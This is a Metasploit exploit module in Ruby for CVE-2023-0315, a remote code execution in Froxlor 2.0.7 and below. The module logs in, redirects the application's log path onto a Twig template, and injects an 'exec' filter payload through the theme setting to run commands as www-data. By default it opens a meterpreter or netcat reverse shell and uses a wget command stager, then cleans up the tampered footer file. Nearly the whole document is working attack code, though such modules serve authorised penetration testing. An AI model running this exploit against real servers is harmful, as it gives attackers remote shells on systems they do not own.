##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Froxlor Log Path RCE',
        'Description' => %q{
          Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path
          to any directory on the OS level which the user www-data can write without restrictions from the backend which
          leads to writing a malicious Twig template that the application will render. That will lead to achieving a
          remote command execution under the user www-data.
        },
        'Author' => [
          'Askar', # discovery
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://shells.systems/author/askar/'],
          [ 'CVE', '2023-0315']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Linux ',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => ['wget'],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        },
        'DisclosureDate' => '2023-01-29'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),
        OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),
        OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])
      ]
    )
  end

  def login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'loginname' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'send' => 'send',
        'dologin' => ''
      }
    )

    if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')
      send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
        'keep_cookies' => true
      )
      print_good('Successful login')
      true
    else
      false
    end
  end

  def check
    begin
      @authenticated = login
    rescue InvalidRequest, InvalidResponse => e
      return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")
    end

    version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, version_url),
      'keep_cookies' => true
    )

    if res.nil? || res.code != 200
      Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")
    else
      version = res.get_html_document.at('body/span/text()')
      if version
        if Rex::Version.new('2.0.7') >= Rex::Version.new(version)
          Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
        else
          Exploit::CheckCode::Safe("Non-vulnerable version found: #{version}")
        end
      else
        Exploit::CheckCode::Unknown("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
      end
    end
  end

  def get_csrf_token(url)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, url),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)
    csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text
    fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token
    print_good("CSRF token is : #{csrf_token}")
    csrf_token
  end

  def change_log_path(new_logfile)
    mime = Rex::MIME::Message.new
    mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')
    mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')
    mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')
    mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')
    mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')
    mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')
    mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')
    mime.add_part('overview', nil, nil, 'form-data; name="page"')
    mime.add_part('', nil, nil, 'form-data; name="action"')
    mime.add_part('send', nil, nil, 'form-data; name="send"')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),
      'vars_get' => { 'page' => 'overview', 'part' => 'logging' },
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )

    if res && res.code == 200 && res.body.include?('The settings have been successfully saved')
      return true
    end

    false
  end

  def execute_command(cmd, _opts = {})
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'theme' => "{{['#{cmd}']|filter('exec')}}",
        'csrf_token' => @csrf_token,
        'page' => 'change_theme',
        'send' => 'send',
        'dosave' => ''
      }
    )

    if res && res.code == 302 && res.headers['Location']
      if res.headers['Location'] == 'admin_index.php'
        print_good('Injected payload successfully')
        print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
        change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
      end
    else
      print_error('did not inject payload successfully')
    end
  end

  def exploit
    fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login
    @csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')

    if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
      print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
      case target['Type']
      when :unix_memory
        execute_command(payload.encoded)
      when :linux_dropper
        execute_cmdstager
      else
        print_error('Please enter valid target')
      end
    else
      fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')
    end
  end

  def on_new_session(session)
    super
    # Original footer.html.twig file
    footer_html_twig = <<~EOF
      <footer class="text-center mb-3">
              <span>
                      <img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>
                      {% if install_mode is not defined  %}
                              {% if (get_setting('admin.show_version_login') == '1'
                                      and area == 'login') or (area != 'login'
                                      and get_setting('admin.show_version_footer') == '1') %}
                                      {{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}
                              {% endif %}
                      {% endif %}
                      &copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>
                      {% if install_mode is not defined %}
                              {% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}
                              {% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}
                              {% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}
                      {% endif %}
              </span>

          {% if lng('translator') %}
                      <br/>
              <small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>
          {% endif %}
      </footer>
    EOF
    if session.type == 'meterpreter'
      print_status('Deleting tampered footer.html.twig file')
      filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"
      session.fs.file.rm(filename)
      fd = session.fs.file.new(filename, 'wb')
      print_status('Rewriting clean footer.html.twig file')
      fd.write(footer_html_twig)
      fd.close
    else
      print_status('Cleaning tampered footer.html.twig file')
      # Remove all log lines added to footer.html.twig by the exploit
      # (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)
      session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
      session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
      session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
    end
  end
end
